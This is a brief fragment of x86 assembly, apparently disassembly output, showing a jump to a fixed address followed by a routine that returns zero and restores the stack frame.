jmp 0x1007e4a5
xor eax, eax
mov esp, ebp
pop ebp
ret